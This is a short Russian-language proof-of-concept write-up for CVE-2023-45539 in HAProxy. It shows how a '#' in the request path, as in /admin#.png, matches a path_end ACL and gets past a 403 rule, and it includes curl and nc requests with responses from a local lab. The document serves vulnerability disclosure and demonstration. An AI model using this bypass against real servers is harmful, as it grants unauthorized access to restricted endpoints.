
HAProxy-CVE-2023-45539-PoC
HAProxy до версии 2.8.2 принимает # как часть компонента URI, что может позволить удалённым злоумышленникам получить конфиденциальную информацию или вызвать иные неопределённые последствия при неправильной интерпретации правила path_end, например, маршрутизация index.html#.png на статический сервер.
В данной CVE неправильно маршрутизируется не то расширение, которое «поддерживает» бэкенд, а только то, которое HAProxy настроен маршрутизировать с помощью ACL path_end (или regex).
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static
Это означает:
HAProxy не заботится о том, может ли бэкенд на самом деле обслуживать .png, .js и т.д.
Он смотрит только на совпадение суффикса в пути запроса.
Если суффикс совпадает с одной из этих строк, он направляет запрос в be_static.
Так:
/admin#.png → совпадает с .png → идёт в be_static → обход
/admin#.asc → не совпадает → остаётся в be_app → попадает под запрет → 403
curl -i http://localhost:6655/public
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain
APP OK
curl -i http://localhost:6655/admin
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain
STATIC OK (routed by path_end)